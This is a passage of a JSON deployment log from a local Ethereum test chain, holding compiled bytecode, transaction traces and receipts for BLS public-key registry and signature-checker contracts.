4820152601060248201526f7363616c61722d746f6f2d6c6172676560801b60448201526064016102b9565b8161ffff16600103614519575081614479565b6040805180820190915260008082526020820181905284906001905b8161ffff168661ffff161061458257600161ffff871660ff83161c81169003614565576145628484613d3c565b93505b61456f8384613d3c565b92506201fffe600192831b169101614535565b509195945050505050565b604080518082019091526000808252602082015281511580156145b257506020820151155b156145d0575050604080518082019091526000808252602082015290565b604051806040016040528083600001518152602001600080516020615d9e833981519152846020015161460391906157c1565b61461b90600080516020615d9e833981519152615831565b905292915050565b919050565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff166146e55760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016102b9565b6146ee82614628565b6116f98161433c565b60006020845161470791906157c1565b1561478e5760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a4016102b9565b8260205b8551811161129c576147a56002856157c1565b6000036147c9578160005280860151602052604060002091506002840493506147e2565b8086015160005281602052604060002091506002840493505b6147ed6020826156b1565b9050614792565b60008080600080516020615d9e8339815191526003600080516020615d9e83398151915286600080516020615d9e83398151915288890909089050600061486a827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f52600080516020615d9e8339815191526149fe565b91959194509092505050565b6000610100825111156148ff5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a4016102b9565b815160000361491057506000919050565b60008083600081518110614926576149266157ab565b0160200151600160f89190911c81901b92505b84518110156149f557848181518110614954576149546157ab565b0160200151600160f89190911c1b91508282116149e95760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a4016102b9565b91811791600101614939565b50909392505050565b600080614a09614b27565b614a11614b45565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa92508280614a4e57fe5b5082614a9c5760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c75726500000000000060448201526064016102b9565b505195945050505050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b6040518060400160405280614af6614b63565b8152602001614b03614b63565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b80356001600160601b03198116811461462357600080fd5b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715614c0857614c08614bd0565b60405290565b60405161010081016001600160401b0381118282101715614c0857614c08614bd0565b604051601f8201601f191681016001600160401b0381118282101715614c5957614c59614bd0565b604052919050565b60006001600160401b03831115614c7a57614c7a614bd0565b614c8d601f8401601f1916602001614c31565b9050828152838383011115614ca157600080fd5b828260208301376000602084830101529392505050565b600082601f830112614cc957600080fd5b614cd883833560208501614c61565b9392505050565b6001600160a01b0381168114610c1557600080fd5b600080600080600080600080610100898b031215614d1157600080fd5b883597506020890135965060408901359550614d2f60608a01614bb8565b94506080890135935060a08901356001600160401b03811115614d5157600080fd5b614d5d8b828c01614cb8565b93505060c0890135915060e0890135614d7581614cdf565b809150509295985092959890939650565b600060208284031215614d9857600080fd5b813561447681614cdf565b600060208284031215614db557600080fd5b5035919050565b60ff81168114610c1557600080fd5b600060208284031215614ddd57600080fd5b813561447681614dbc565b600060408284031215614dfa57600080fd5b614e02614be6565b9050813581526020820135602082015292915050565b600082601f830112614e2957600080fd5b614e31614be6565b806040840185811115614e4357600080fd5b845b81811015614e5d578035845260209384019301614e45565b509095945050505050565b600060808284031215614e7a57600080fd5b614e82614be6565b9050614e8e8383614e18565b8152614e9d8360408401614e18565b602082015292915050565b6000806000806101208587031215614ebf57600080fd5b84359350614ed08660208701614de8565b9250614edf8660608701614e68565b9150614eee8660e08701614de8565b905092959194509250565b60008060408385031215614f0c57600080fd5b8235614f1781614cdf565b946020939093013593505050565b6020808252825182820181905260009190848201906040850190845b81811015614f665783516001600160a01b031683529284019291840191600101614f41565b50909695505050505050565b8015158114610c1557600080fd5b600060208284031215614f9257600080fd5b813561447681614f72565b803563ffffffff8116811461462357600080fd5b60006001600160401b03821115614fca57614fca614bd0565b5060051b60200190565b600082601f830112614fe557600080fd5b81356020614ffa614ff583614fb1565b614c31565b8083825260208201915060208460051b87010193508684111561501c57600080fd5b602086015b8481101561503f5761503281614f9d565b8352918301918301615021565b509695505050505050565b600082601f83011261505b57600080fd5b8135602061506b614ff583614fb1565b8083825260208201915060208460061b87010193508684111561508d57600080fd5b602086015b8481101561503f576150a48882614de8565b835291830191604001615092565b600082601f8301126150c357600080fd5b813560206150d3614ff583614fb1565b82815260059290921b840181019181810190868411156150f257600080fd5b8286015b8481101561503f5780356001600160401b038111156151155760008081fd5b6151238986838b0101614fd4565b8452509183019183016150f6565b6000610180828403121561514457600080fd5b61514c614c0e565b905081356001600160401b038082111561516557600080fd5b61517185838601614fd4565b8352602084013591508082111561518757600080fd5b6151938583860161504a565b602084015260408401359150808211156151ac57600080fd5b6151b88583860161504a565b60408401526151ca8560608601614e68565b60608401526151dc8560e08601614de8565b60808401526101208401359150808211156151f657600080fd5b61520285838601614fd4565b60a084015261014084013591508082111561521c57600080fd5b61522885838601614fd4565b60c084015261016084013591508082111561524257600080fd5b5061524f848285016150b2565b60e08301525092915050565b60008060006060848603121561527057600080fd5b8335925061528060208501614f9d565b915060408401356001600160401b0381111561529b57600080fd5b6152a786828701615131565b9150509250925092565b60008151808452602080850194506020840160005b838110156152eb5781516001600160601b0316875295820195908201906001016152c6565b509495945050505050565b604081526000835160408084015261531160808401826152b1565b90506020850151603f1984830301606085015261532e82826152b1565b925050508260208301529392505050565b60008083601f84011261535157600080fd5b5081356001600160401b0381111561536857600080fd5b60208301915083602082850101111561538057600080fd5b9250929050565b60008060006040848603121561539c57600080fd5b83356001600160401b038111156153b257600080fd5b6153be8682870161533f565b909790965060209590950135949350505050565b600080604083850312156153e557600080fd5b82356153f081614cdf565b915060208301356001600160401b038082111561540c57600080fd5b908401906060828703121561542057600080fd5b60405160608101818110838211171561543b5761543b614bd0565b60405282358281111561544d57600080fd5b61545988828601614cb8565b82525060208301356020820152604083013560408201528093505050509250929050565b60006020828403121561548f57600080fd5b81356001600160401b038111156154a557600080fd5b8201601f810184136154b657600080fd5b6154c584823560208401614c61565b949350505050565b6000806000606084860312156154e257600080fd5b83359250602084013561528081614cdf565b6000806000806060858703121561550a57600080fd5b8435935060208501356001600160401b0381111561552757600080fd5b6155338782880161533f565b9598909750949560400135949350505050565b600080600080600060a0868803121561555e57600080fd5b853561556981614cdf565b9450602086013561557981614cdf565b9350604086013561558981614cdf565b9250606086013561559981614cdf565b949793965091946080013592915050565b600080600080600080600060e0888a0312156155c557600080fd5b8735965060208801359550604088013594506155e360608901614bb8565b93506080880135925060a08801356001600160401b0381111561560557600080fd5b6156118a828b01614cb8565b92505060c0880135905092959891949750929550565b6000806020838503121561563a57600080fd5b82356001600160401b038082111561565157600080fd5b818501915085601f83011261566557600080fd5b81358181111561567457600080fd5b8660208260051b850101111561568957600080fd5b60209290920196919550909350505050565b634e487b7160e01b600052601160045260246000fd5b808201808211156144795761447961569b565b91825260601b6001600160601b031916602082015260340190565b6000602082840312156156f157600080fd5b815161447681614cdf565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561575857600080fd5b815161447681614f72565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b6000826157de57634e487b7160e01b600052601260045260246000fd5b500690565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b818103818111156144795761447961569b565b60006020828403121561585657600080fd5b5051919050565b60006020828403121561586f57600080fd5b81516001600160c01b038116811461447657600080fd5b60006020828403121561589857600080fd5b815161447681614dbc565b6001600160601b0381168114610c1557600080fd5b6000604082840312156158ca57600080fd5b6158d2614be6565b82516158dd81614cdf565b815260208301516158ed816158a3565b60208201529392505050565b60006001820161590b5761590b61569b565b5060010190565b60006020828403121561592457600080fd5b815167ffffffffffffffff198116811461447657600080fd5b60006020828403121561594f57600080fd5b8151614476816158a3565b6001600160601b0382811682821603908082111561597a5761597a61569b565b5092915050565b63ffffffff60e01b8360e01b1681526000600482018351602080860160005b838110156159bc578151855293820193908201906001016159a0565b5092979650505050505050565b8183823760009101908152919050565b60208082526052908201527f536572766963654d616e61676572426173652e6f6e6c7952656769737472794360408201527f6f6f7264696e61746f723a2063616c6c6572206973206e6f742074686520726560608201527133b4b9ba393c9031b7b7b93234b730ba37b960711b608082015260a00190565b6000815180845260005b81811015615a7757602081850181015186830182015201615a5b565b506000602082860101526020601f19601f83011685010191505092915050565b60018060a01b0383168152604060208201526000825160606040840152615ac160a0840182615a51565b90506020840151606084015260408401516080840152809150509392505050565b602081526000614cd86020830184615a51565b6001600160601b03818116838216028082169190828114613d3457613d3461569b565b80820281158282048414176144795761447961569b565b6001600160a01b038616815263ffffffff851660208201526080604082018190528101839052828460a0830137600060a08483010152600060a0601f19601f86011683010190508260608301529695505050505050565b60006101008a83528960208401528860408401526001600160601b0319881660608401528660808401528060a0840152615bc281840187615a51565b60c084019590955250506001600160a01b039190911660e0909101529695505050505050565b60008235609e19833603018112615bfe57600080fd5b9190910192915050565b803561462381614cdf565b8183526000602080850194508260005b858110156152eb578135615c3681614cdf565b6001600160a01b0316875281830135615c4e816158a3565b6001600160601b0316878401526040968701969190910190600101615c23565b60208082528181018390526000906040808401600586901b8501820187855b88811015615d6e57878303603f190184528135368b9003609e19018112615cb357600080fd5b8a0160a0813536839003601e19018112615ccc57600080fd5b820188810190356001600160401b03811115615ce757600080fd5b8060061b3603821315615cf957600080fd5b828752615d098388018284615c13565b92505050615d18888301615c08565b6001600160a01b03168886015281870135878601526060615d3a818401614f9d565b63ffffffff16908601526080615d51838201614f9d565b63ffffffff16950194909452509285019290850190600101615c8d565b509098975050505050505050565b600061ffff808316818103615d9357615d9361569b565b600101939250505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd470ea46f246ccfc58f7a93aa09bc6245a6818e97b1a160d186afe78993a3b194a0424c535369676e6174757265436865636b65722e636865636b5369676e617475a26469706673582212205998fafeb5eab20d19cf0bd86f2eecb1e9eff99b69e6178a9513067dd2808c5564736f6c63430008180033","nonce":49,"gas_used":5321568},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x513360","logs":[{"address":"0x4c5859f0f772848b2d91f1d83e2fe57935348029","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xc853e45eb53976f04ee365f63723ad1c07285cbb5f8793e8544a1c720f7c9188","block_number":12},{"info":{"transaction_hash":"0x046411743d2c08a8f69f7117e4aed15eb84999f401e950cafac8436c9d2c04d8","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","output":"0x","gas_used":4371,"gas_limit":16304,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Stop","out":"0x","nonce":31,"gas_used":25803},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x64cb","logs":[{"address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000040000000000000000100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000040000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x862d86059782d813228eeca6e42482fd07d3baf164c47520b0953001dfb46af9","block_number":28},{"info":{"transaction_hash":"0xce5b5b87d690f0e404fbdbff7a168d4b80e353e0b6d9e8405858a895c302bcdf","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x9d4454b023096f34b160d6b654540c56a1f81688","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9d4454b023096f34b160d6b654540c56a1f81688","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60a06040523480156200001157600080fd5b506040516200208738038062002087833981016040819052620000349162000116565b6001600160a01b038116608052806200004c62000054565b505062000148565b600054610100900460ff1615620000c15760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101562000114576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6000602082840312156200012957600080fd5b81516001600160a01b03811681146200014157600080fd5b9392505050565b608051611f07620001806000396000818161030f01528181610466015281816105bf015281816109c501526110250152611f076000f3fe608060405234801561001057600080fd5b50600436106101155760003560e01c80636d14a987116100a2578063bf79ce5811610071578063bf79ce58146103cc578063d5254a8c146103df578063de29fac0146103ff578063e8bb9ae61461041f578063f4e24fe51461044857600080fd5b80636d14a9871461030a5780637916cea6146103315780637ff81a8714610372578063a3db80e2146103a557600080fd5b80633fb27952116100e95780633fb27952146101df57806347b314e8146101f25780635f61a88414610233578063605747d51461028f57806368bccaac146102dd57600080fd5b8062a1f4cb1461011a57806313542a4e1461015b57806326d941f214610192578063377ed99d146101a7575b600080fd5b6101416101283660046118e3565b6003602052600090815260409020805460019091015482565b604080519283526020830191909152015b60405180910390f35b6101846101693660046118e3565b6001600160a01b031660009081526001602052604090205490565b604051908152602001610152565b6101a56101a0366004611916565b61045b565b005b6101ca6101b5366004611916565b60ff1660009081526004602052604090205490565b60405163ffffffff9091168152602001610152565b6101a56101ed3660046119a1565b6105b4565b61021b610200366004611a47565b6000908152600260205260409020546001600160a01b031690565b6040516001600160a01b039091168152602001610152565b610282610241366004611916565b60408051808201909152600080825260208201525060ff16600090815260056020908152604091829020825180840190935280548352600101549082015290565b6040516101529190611a60565b6102a261029d366004611a77565b610672565b60408051825167ffffffffffffffff1916815260208084015163ffffffff908116918301919091529282015190921690820152606001610152565b6102f06102eb366004611aa1565b610705565b60405167ffffffffffffffff199091168152602001610152565b61021b7f000000000000000000000000000000000000000000000000000000000000000081565b61034461033f366004611a77565b6108a0565b6040805167ffffffffffffffff19909416845263ffffffff9283166020850152911690820152606001610152565b6103856103803660046118e3565b6108eb565b604080518351815260209384015193810193909352820152606001610152565b6101416103b3366004611916565b6005602052600090815260409020805460019091015482565b6101846103da366004611ae9565b6109b8565b6103f26103ed366004611b46565b610e0b565b6040516101529190611bbe565b61018461040d3660046118e3565b60016020526000908152604090205481565b61021b61042d366004611a47565b6002602052600090815260409020546001600160a01b031681565b6101a56104563660046119a1565b61101a565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146104ac5760405162461bcd60e51b81526004016104a390611c08565b60405180910390fd5b60ff81166000908152600460205260409020541561052b5760405162461bcd60e51b815260206004820152603660248201527f424c5341706b52656769737472792e696e697469616c697a6551756f72756d3a6044820152752071756f72756d20616c72656164792065786973747360501b60648201526084016104a3565b60ff166000908152600460209081526040808320815160608101835284815263ffffffff4381168286019081528285018781528454600181018655948852959096209151919092018054955194518316600160e01b026001600160e01b0395909316600160c01b026001600160e01b03199096169190931c179390931791909116919091179055565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146105fc5760405162461bcd60e51b81526004016104a390611c08565b6000610607836108eb565b50905061061482826110c3565b7f73a2b7fb844724b971802ae9b15db094d4b7192df9d7350e14eb466b9b22eb4e83610655856001600160a01b031660009081526001602052604090205490565b8460405161066593929190611c7c565b60405180910390a1505050565b604080516060810182526000808252602080830182905282840182905260ff8616825260049052919091208054839081106106af576106af611ce2565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b8204811694830194909452600160e01b90049092169082015290505b92915050565b60ff8316600090815260046020526040812080548291908490811061072c5761072c611ce2565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b82048116948301859052600160e01b9091048116928201929092529250851610156107f35760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a20696e64657820746f6f20726563656e74000060648201526084016104a3565b604081015163ffffffff1615806108195750806040015163ffffffff168463ffffffff16105b6108975760405162461bcd60e51b815260206004820152604360248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a206e6f74206c61746573742061706b2075706460648201526261746560e81b608482015260a4016104a3565b51949350505050565b600460205281600052604060002081815481106108bc57600080fd5b600091825260209091200154604081901b925063ffffffff600160c01b820481169250600160e01b9091041683565b60408051808201909152600080825260208201526001600160a01b0382166000818152600360209081526040808320815180830183528154815260019182015481850152948452909152812054909190806109ae5760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e676574526567697374657265645075626b60448201527f65793a206f70657261746f72206973206e6f742072656769737465726564000060648201526084016104a3565b9094909350915050565b6000336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610a025760405162461bcd60e51b81526004016104a390611c08565b6000610a30610a1936869003860160408701611cf8565b805160009081526020918201519091526040902090565b90507fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb58103610ab7576040805162461bcd60e51b8152602060048201526024810191909152600080516020611eb283398151915260448201527f4b65793a2063616e6e6f74207265676973746572207a65726f207075626b657960648201526084016104a3565b6001600160a01b03851660009081526001602052604090205415610b415760405162461bcd60e51b81526020600482015260476024820152600080516020611eb283398151915260448201527f4b65793a206f70657261746f7220616c72656164792072656769737465726564606482015266207075626b657960c81b608482015260a4016104a3565b6000818152600260205260409020546001600160a01b031615610bc55760405162461bcd60e51b81526020600482015260426024820152600080516020611eb283398151915260448201527f4b65793a207075626c6963206b657920616c7265616479207265676973746572606482015261195960f21b608482015260a4016104a3565b604080516000917f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000191610c1e918835916020808b0135928b01359160608c01359160808d019160c08e01918d35918e8201359101611d2a565b6040516020818303038152906040528051906020012060001c610c419190611d6c565b9050610cdb610c7a610c6583610c5f368a90038a0160408b01611cf8565b90611307565b610c7436899003890189611cf8565b90611398565b610c8261142d565b610cc4610cb585610c5f604080518082018252600080825260209182015281518083019092526001825260029082015290565b610c74368a90038a018a611cf8565b610cd6368a90038a0160808b01611dde565b6114ed565b610d765760405162461bcd60e51b815260206004820152606c6024820152600080516020611eb283398151915260448201527f4b65793a2065697468657220746865204731207369676e61747572652069732060648201527f77726f6e672c206f7220473120616e642047322070726976617465206b65792060848201526b0c8de40dcdee840dac2e8c6d60a31b60a482015260c4016104a3565b6001600160a01b03861660008181526003602090815260408083208982018035825560608b013560019283015590835281842087905586845260029092529182902080546001600160a01b0319168417905590517fe3fb6613af2e8930cf85d47fcf6db10192224a64c6cbe8023e0eee1ba382804191610dfa9160808a0190611e1d565b60405180910390a250949350505050565b606060008367ffffffffffffffff811115610e2857610e28611931565b604051908082528060200260200182016040528015610e51578160200160208202803683370190505b50905060005b84811015611011576000868683818110610e7357610e73611ce2565b919091013560f81c6000818152600460205260409020549092509050801580610ed6575060ff821660009081526004602052604081208054909190610eba57610eba611ce2565b600091825260209091200154600160c01b900463ffffffff1686105b15610f635760405162461bcd60e51b815260206004820152605160248201527f424c5341706b52656769737472792e67657441706b496e64696365734174426c60448201527f6f636b4e756d6265723a20626c6f636b4e756d626572206973206265666f7265606482015270207468652066697273742075706461746560781b608482015260a4016104a3565b805b80156110065760ff831660009081526004602052604090208790610f8a600184611e5d565b81548110610f9a57610f9a611ce2565b600091825260209091200154600160c01b900463ffffffff1611610ff457610fc3600182611e5d565b858581518110610fd557610fd5611ce2565b602002602001019063ffffffff16908163ffffffff1681525050611006565b80610ffe81611e70565b915050610f65565b505050600101610e57565b50949350505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146110625760405162461bcd60e51b81526004016104a390611c08565b600061106d836108eb565b5090506110828261107d83611751565b6110c3565b7ff843ecd53a563675e62107be1494fdde4a3d49aeedaf8d88c616d85346e3500e83610655856001600160a01b031660009081526001602052604090205490565b604080518082019091526000808252602082015260005b83518110156113015760008482815181106110f7576110f7611ce2565b0160209081015160f81c600081815260049092526040822054909250908190036111895760405162461bcd60e51b815260206004820152603d60248201527f424c5341706b52656769737472792e5f70726f6365737351756f72756d41706b60448201527f5570646174653a2071756f72756d20646f6573206e6f7420657869737400000060648201526084016104a3565b60ff821660009081526005602090815260409182902082518084019093528054835260010154908201526111bd9086611398565b60ff831660008181526005602090815260408083208551808255868401805160019384015590855251835281842094845260049092528220939750919290916112069085611e5d565b8154811061121657611216611ce2565b6000918252602090912001805490915063ffffffff438116600160c01b90920416036112555780546001600160c01b031916604083901c1781556112f1565b805463ffffffff438116600160e01b8181026001600160e01b0394851617855560ff88166000908152600460209081526040808320815160608101835267ffffffffffffffff198b16815280840196875280830185815282546001810184559286529390942093519301805495519251871690940291909516600160c01b026001600160e01b0319949094169190941c17919091179092161790555b5050600190920191506110da9050565b50505050565b6040805180820190915260008082526020820152611323611810565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa9050808061135257fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b60448201526064016104a3565b505092915050565b60408051808201909152600080825260208201526113b461182e565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa905080806113ef57fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b60448201526064016104a3565b61143561184c565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b60408051808201825285815260208082018590528251808401909352858352820183905260009161151c611871565b60005b60028110156116d7576000611535826006611e87565b905084826002811061154957611549611ce2565b6020020151518361155b836000611e9e565b600c811061156b5761156b611ce2565b602002015284826002811061158257611582611ce2565b602002015160200151838260016115999190611e9e565b600c81106115a9576115a9611ce2565b60200201528382600281106115c0576115c0611ce2565b60200201515151836115d3836002611e9e565b600c81106115e3576115e3611ce2565b60200201528382600281106115fa576115fa611ce2565b6020020151516001602002015183611613836003611e9e565b600c811061162357611623611ce2565b602002015283826002811061163a5761163a611ce2565b60200201516020015160006002811061165557611655611ce2565b602002015183611666836004611e9e565b600c811061167657611676611ce2565b602002015283826002811061168d5761168d611ce2565b6020020151602001516001600281106116a8576116a8611ce2565b6020020151836116b9836005611e9e565b600c81106116c9576116c9611ce2565b60200201525060010161151f565b506116e0611890565b60006020826101808560086107d05a03fa905080806116fb57fe5b50806117415760405162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b60448201526064016104a3565b5051151598975050505050505050565b6040805180820190915260008082526020820152815115801561177657506020820151155b15611794575050604080518082019091526000808252602082015290565b6040518060400160405280836000015181526020017f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd4784602001516117d99190611d6c565b611803907f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47611e5d565b905292915050565b919050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b604051806040016040528061185f6118ae565b815260200161186c6118ae565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b80356001600160a01b038116811461180b57600080fd5b6000602082840312156118f557600080fd5b6118fe826118cc565b9392505050565b803560ff8116811461180b57600080fd5b60006020828403121561192857600080fd5b6118fe82611905565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561196a5761196a611931565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171561199957611999611931565b604052919050565b600080604083850312156119b457600080fd5b6119bd836118cc565b915060208084013567ffffffffffffffff808211156119db57600080fd5b818601915086601f8301126119ef57600080fd5b813581811115611a0157611a01611931565b611a13601f8201601f19168501611970565b91508082528784828501011115611a2957600080fd5b80848401858401376000848284010152508093505050509250929050565b600060208284031215611a5957600080fd5b5035919050565b8151815260208083015190820152604081016106ff565b60008060408385031215611a8a57600080fd5b611a9383611905565b946020939093013593505050565b600080600060608486031215611ab657600080fd5b611abf84611905565b9250602084013563ffffffff81168114611ad857600080fd5b929592945050506040919091013590565b6000806000838503610160811215611b0057600080fd5b611b09856118cc565b9350610100601f1982011215611b1e57600080fd5b602085019250604061011f1982011215611b3757600080fd5b50610120840190509250925092565b600080600060408486031215611b5b57600080fd5b833567ffffffffffffffff80821115611b7357600080fd5b818601915086601f830112611b8757600080fd5b813581811115611b9657600080fd5b876020828501011115611ba857600080fd5b6020928301989097509590910135949350505050565b6020808252825182820181905260009190848201906040850190845b81811015611bfc57835163ffffffff1683529284019291840191600101611bda565b50909695505050505050565b6020808252604e908201527f424c5341706b52656769737472792e6f6e6c795265676973747279436f6f726460408201527f696e61746f723a2063616c6c6572206973206e6f74207468652072656769737460608201526d393c9031b7b7b93234b730ba37b960911b608082015260a00190565b60018060a01b03841681526000602084602084015260606040840152835180606085015260005b81811015611cbf57858101830151858201608001528201611ca3565b506000608082860101526080601f19601f83011685010192505050949350505050565b634e487b7160e01b600052603260045260246000fd5b600060408284031215611d0a57600080fd5b611d12611947565b82358152602083013560208201528091505092915050565b888152876020820152866040820152856060820152604085608083013760408460c0830137610100810192909252610120820152610140019695505050505050565b600082611d8957634e487b7160e01b600052601260045260246000fd5b500690565b600082601f830112611d9f57600080fd5b611da7611947565b806040840185811115611db957600080fd5b845b81811015611dd3578035845260209384019301611dbb565b509095945050505050565b600060808284031215611df057600080fd5b611df8611947565b611e028484611d8e565b8152611e118460408501611d8e565b60208201529392505050565b823581526020808401359082015260c0810160408381840137604080840160808401379392505050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106ff576106ff611e47565b600081611e7f57611e7f611e47565b506000190190565b80820281158282048414176106ff576106ff611e47565b808201808211156106ff576106ff611e4756fe424c5341706b52656769737472792e7265676973746572424c535075626c6963a264697066735822122032bb5054c7a2f6432e5be9a0f6a1c05e87838a89c3e8ae01d982bce76ffd2a6064736f6c63430008180033000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36","output":"0x608060405234801561001057600080fd5b50600436106101155760003560e01c80636d14a987116100a2578063bf79ce5811610071578063bf79ce58146103cc578063d5254a8c146103df578063de29fac0146103ff578063e8bb9ae61461041f578063f4e24fe51461044857600080fd5b80636d14a9871461030a5780637916cea6146103315780637ff81a8714610372578063a3db80e2146103a557600080fd5b80633fb27952116100e95780633fb27952146101df57806347b314e8146101f25780635f61a88414610233578063605747d51461028f57806368bccaac146102dd57600080fd5b8062a1f4cb1461011a57806313542a4e1461015b57806326d941f214610192578063377ed99d146101a7575b600080fd5b6101416101283660046118e3565b6003602052600090815260409020805460019091015482565b604080519283526020830191909152015b60405180910390f35b6101846101693660046118e3565b60